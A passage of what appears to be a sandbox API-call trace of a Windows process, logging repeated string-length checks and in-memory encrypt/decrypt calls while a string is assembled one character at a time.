OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.253] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\x28fe\x4428\xdd2\xef6d\x6724\x3f4\xc3ea\xa50d") returned 0x10 [0136.253] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\x28fe\x4428\xdd2\xef6d\x6724\x3f4\xc3ea\xa50d") returned 0x10 [0136.253] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.253] SysStringLen (param_1="L4EFALRIrAl빠ꆀ︿鰼") returned 0x10 [0136.253] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.253] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\x9d6b\x5d78\x704a\xed1c\x5c30\x902f\xe9c7\x208a") returned 0x10 [0136.253] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\x9d6b\x5d78\x704a\xed1c\x5c30\x902f\xe9c7\x208a") returned 0x10 [0136.254] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.254] SysStringLen (param_1="L4EFALRIrAlE빠ꆀ︿鰼") returned 0x10 [0136.254] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.254] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\x3a7\x8717\x532d\xf8c5\x84b0\x89cf\x99b6\x6b58") returned 0x10 [0136.254] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\x3a7\x8717\x532d\xf8c5\x84b0\x89cf\x99b6\x6b58") returned 0x10 [0136.254] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.254] SysStringLen (param_1="L4EFALRIrAlEHꆀ︿鰼") returned 0x10 [0136.254] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.254] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xe3ba\x3720\x1e8d\xb8f0\x44bc\xa1e2\x7ec2\x7d0c") returned 0x10 [0136.254] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xe3ba\x3720\x1e8d\xb8f0\x44bc\xa1e2\x7ec2\x7d0c") returned 0x10 [0136.254] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.254] SysStringLen (param_1="L4EFALRIrAlEHv︿鰼") returned 0x10 [0136.254] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.254] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xe5e0\xe235\xc22d\xe38d\xbbb\x344d\x5dd4\xaa8") returned 0x10 [0136.254] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xe5e0\xe235\xc22d\xe38d\xbbb\x344d\x5dd4\xaa8") returned 0x10 [0136.254] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.254] SysStringLen (param_1="L4EFALRIrAlEHvO鰼") returned 0x10 [0136.255] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.255] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\x9f6e\x5489\x797b\xd07e\x4895\xf810\xefb6\x90") returned 0x10 [0136.255] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\x9f6e\x5489\x797b\xd07e\x4895\xf810\xefb6\x90") returned 0x10 [0136.255] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.255] SysStringLen (param_1="L4EFALRIrAlEHvOQ") returned 0x10 [0136.255] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.255] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c") returned 0x10 [0136.255] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c") returned 0x10 [0136.255] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c") returned 0x10 [0136.255] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c") returned 0x18 [0136.255] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.255] SysStringLen (param_1="L4EFALRIrAlEHvOQ4꼝㲀燽᧫莉\x17盯") returned 0x18 [0136.255] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.255] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\x7faf\x7c7c\x9cca\x8af5\xc06\x5618\x3e9a\x8656") returned 0x18 [0136.255] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\x7faf\x7c7c\x9cca\x8af5\xc06\x5618\x3e9a\x8656") returned 0x18 [0136.255] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.255] SysStringLen (param_1="L4EFALRIrAlEHvOQ4l㲀燽᧫莉\x17盯") returned 0x18 [0136.255] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.256] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xb8d2\x3397\xcb96\xb674\x8e37\x5bfe\x8e33\x2271") returned 0x18 [0136.256] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xb8d2\x3397\xcb96\xb674\x8e37\x5bfe\x8e33\x2271") returned 0x18 [0136.256] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.256] SysStringLen (param_1="L4EFALRIrAlEHvOQ4ll燽᧫莉\x17盯") returned 0x18 [0136.256] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.256] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\x6121\x2678\xf54e\xd053\xa60e\x3961\x3a95\xea09") returned 0x18 [0136.256] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\x6121\x2678\xf54e\xd053\xa60e\x3961\x3a95\xea09") returned 0x18 [0136.256] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.256] SysStringLen (param_1="L4EFALRIrAlEHvOQ4lls᧫莉\x17盯") returned 0x18 [0136.256] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.256] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\x771d\xe5e3\x7e61\x9745\x4e99\x7e3e\xfcd6\x4816") returned 0x18 [0136.256] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\x771d\xe5e3\x7e61\x9745\x4e99\x7e3e\xfcd6\x4816") returned 0x18 [0136.256] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.256] SysStringLen (param_1="L4EFALRIrAlEHvOQ4llsc莉\x17盯") returned 0x18 [0136.256] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.256] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\x3a04\xd2b8\x59dc\x5bd8\x54d7\x748c\xe42e\x1a03") returned 0x18 [0136.256] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\x3a04\xd2b8\x59dc\x5bd8\x54d7\x748c\xe42e\x1a03") returned 0x18 [0136.256] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.257] SysStringLen (param_1="L4EFALRIrAlEHvOQ4llscn\x17盯") returned 0x18 [0136.257] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.257] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\x5b7f\xfffc\x83d8\x5e72\xe916\x2eda\xf823\xb099") returned 0x18 [0136.257] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\x5b7f\xfffc\x83d8\x5e72\xe916\x2eda\xf823\xb099") returned 0x18 [0136.257] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.257] SysStringLen (param_1="L4EFALRIrAlEHvOQ4llscnj盯") returned 0x18 [0136.257] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.257] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xfd5a\xc851\x3261\x6112\x6a8d\x4e8b\x4d88\x8720") returned 0x18 [0136.257] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xfd5a\xc851\x3261\x6112\x6a8d\x4e8b\x4d88\x8720") returned 0x18 [0136.257] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.257] SysStringLen (param_1="L4EFALRIrAlEHvOQ4llscnjH") returned 0x18 [0136.257] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.257] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94") returned 0x18 [0136.257] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94") returned 0x18 [0136.257] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94") returned 0x18 [0136.257] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94") returned 0x20 [0136.257] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.258] SysStringLen (param_1="L4EFALRIrAlEHvOQ4llscnjHT芎뺤쑥⹝鄣᱇") returned 0x20 [0136.258] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.258] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xe4bb\xc539\x26d\x6c3a\x1845\x4824\x42b4\xa213") returned 0x20 [0136.258] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xe4bb\xc539\x26d\x6c3a\x1845\x4824\x42b4\xa213") returned 0x20 [0136.258] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.258] SysStringLen (param_1="L4EFALRIrAlEHvOQ4llscnjHTk뺤쑥⹝鄣᱇") returned 0x20 [0136.258] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.258] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\x28fc\x6f91\xfaa9\x3d4c\x2a1b\xcc08\xf465\xe1e0") returned 0x20 [0136.258] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\x28fc\x6f91\xfaa9\x3d4c\x2a1b\xcc08\xf465\xe1e0") returned 0x20 [0136.258] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.258] SysStringLen (param_1="L4EFALRIrAlEHvOQ4llscnjHTkE쑥⹝鄣᱇") returned 0x20 [0136.258] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.258] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xe201\xeda5\xdc3d\x9dfa\x3e8b\xef4d\xd174\x8cb4") returned 0x20 [0136.258] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xe201\xeda5\xdc3d\x9dfa\x3e8b\xef4d\xd174\x8cb4") returned 0x20 [0136.258] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.258] SysStringLen (param_1="L4EFALRIrAlEHvOQ4llscnjHTkEH⹝鄣᱇") returned 0x20 [0136.258] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.258] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xd4bb\x331c\x6dd8\xf3df\xb970\x8624\x476e\xdc70") returned 0x20 [0136.259] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xd4bb\x331c\x6dd8\xf3df\xb970\x8624\x476e\xdc70") returned 0x20 [0136.259] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.259] SysStringLen (param_1="L4EFALRIrAlEHvOQ4llscnjHTkEHZ鄣᱇") returned 0x20 [0136.259] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.259] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\x7166\x9ddf\xee85\x3ad3\xdfe9\x7fc9\xcc19\xa496") returned 0x20 [0136.259] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\x7166\x9ddf\xee85\x3ad3\xdfe9\x7fc9\xcc19\xa496") returned 0x20 [0136.259] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.259] SysStringLen (param_1="L4EFALRIrAlEHvOQ4llscnjHTkEHZH᱇") returned 0x20 [0136.259] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.259] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\x27ca\xd494\xda77\x1ec2\xc812\xc3f3\xc41c\x2041") returned 0x20 [0136.259] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\x27ca\xd494\xda77\x1ec2\xc812\xc3f3\xc41c\x2041") returned 0x20 [0136.259] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.259] SysStringLen (param_1="L4EFALRIrAlEHvOQ4llscnjHTkEHZHn᱇") returned 0x20 [0136.259] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.259] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\x2ae4\x3019\xa99e\xbff0\x628\x4f5b\x2174\x579d") returned 0x20 [0136.259] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\x2ae4\x3019\xa99e\xbff0\x628\x4f5b\x2174\x579d") returned 0x20 [0136.259] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.260] SysStringLen (param_1="L4EFALRIrAlEHvOQ4llscnjHTkEHZHnq") returned 0x20 [0136.260] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.260] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xa15a\xe145\xcdd2\x174c\xb9a3\x977b\x55c5\x56ab") returned 0x20 [0136.260] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xa15a\xe145\xcdd2\x174c\xb9a3\x977b\x55c5\x56ab") returned 0x20 [0136.260] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xa15a\xe145\xcdd2\x174c\xb9a3\x977b\x55c5\x56ab") returned 0x20 [0136.260] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xa15a\xe145\xcdd2\x174c\xb9a3\x977b\x55c5\x56ab") returned 0x28 [0136.260] SystemFunction041 (in: Memory=0x8ebf954, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf954) returned 0x0 [0136.260] SysStringLen (param_1="L4EFALRIrAlEHvOQ4llscnjHTkEHZHnqk뺚ᙊ絣菮ှ晸") returned 0x28 [0136.260] SystemFunction040 (in: Memory=0x8ebf954, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf954) returned 0x0 [0136.260] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xa15a\xe145\xcdd2\x174c\xb9a3\x977b\x55c5\x56ab\x59b8\xc29\x2192\x22bb\x8c45\x4213\x8330\x48a2") returned 0x28 [0136.260] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xa15a\xe145\xcdd2\x174c\xb9a3\x977b\x55c5\x56ab\x59b8\xc29\x2192\x22bb\x8c45\x4213\x8330\x48a2") returned 0x28 [0136.260] SystemFunction041 (in: Memory=0x8ebf954, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf954) returned 0x0 [0136.260] SysStringLen (param_1="L4EFALRIrAlEHvOQ4llscnjHTkEHZHnqkZ뺚ᙊ絣菮ှ晸") returned 0x28 [0136.260] SystemFunction040 (in: Memory=0x8ebf954, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf954) returned 0x0 [0136.260] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xa15a\xe145\xcdd2\x174c\xb9a3\x977b\x55c5\x56ab\x3513\x8411\xd6ff\xedb6\x741\xb7fc\x329f\x9af2") returned 0x28 [0136.260] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xa15a\xe145\xcdd2\x174c\xb9a3\x977b\x55c5\x56ab\x3513\x8411\xd6ff\xedb6\x741\xb7fc\x329f\x9af2") returned 0x28 [0136.260] SystemFunction041 (in: Memory=0x8ebf954, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf954) returned 0x0 [0136.260] SysStringLen (param_1="L4EFALRIrAlEHvOQ4llscnjHTkEHZHnqkZGᙊ絣菮ှ晸") returned 0x28 [0136.261] SystemFunction040 (in: Memory=0x8ebf954, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf954) returned 0x0 [0136.261] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xa15a\xe145\xcdd2\x174c\xb9a3\x977b\x55c5\x56ab\x6374\x12d2\x21a5\x9572\x482f\x2040\xb7c8\x3df8") returned 0x28 [0136.261] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xa15a\xe145\xcdd2\x174c\xb9a3\x977b\x55c5\x56ab\x6374\x12d2\x21a5\x9572\x482f\x2040\xb7c8\x3df8") returned 0x28 [0136.261] SystemFunction041 (in: Memory=0x8ebf954, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf954) returned 0x0 [0136.261] SysStringLen (param_1="L4EFALRIrAlEHvOQ4llscnjHTkEHZHnqkZGE絣菮ှ晸") returned 0x28 [0136.261] SystemFunction040 (in: Memory=0x8ebf954, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf954) returned 0x0 [0136.261] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xa15a\xe145\xcdd2\x174c\xb9a3\x977b\x55c5\x56ab\xe938\x20e1\xde92\xd433\xd3ee\x543c\xe441\xe54a") returned 0x28 [0136.261] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xa15a\xe145\xcdd2\x174c\xb9a3\x977b\x55c5\x56ab\xe938\x20e1\xde92\xd433\xd3ee\x543c\xe441\xe54a") returned 0x28 [0136.261] SystemFunction041 (in: Memory=0x8ebf954, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf954) returned 0x0 [0136.261] SysStringLen (param_1="L4EFALRIrAlEHvOQ4llscnjHTkEHZHnqkZGEz菮ှ晸") returned 0x28 [0136.261] SystemFunction040 (in: Memory=0x8ebf954, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf954) returned 0x0 [0136.261] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xa15a\xe145\xcdd2\x174c\xb9a3\x977b\x55c5\x56ab\xdd74\x7980\x2ca9\x93db\xab1b\xdc60\xbc1d\x92d9") returned 0x28 [0136.261] SysStringLen 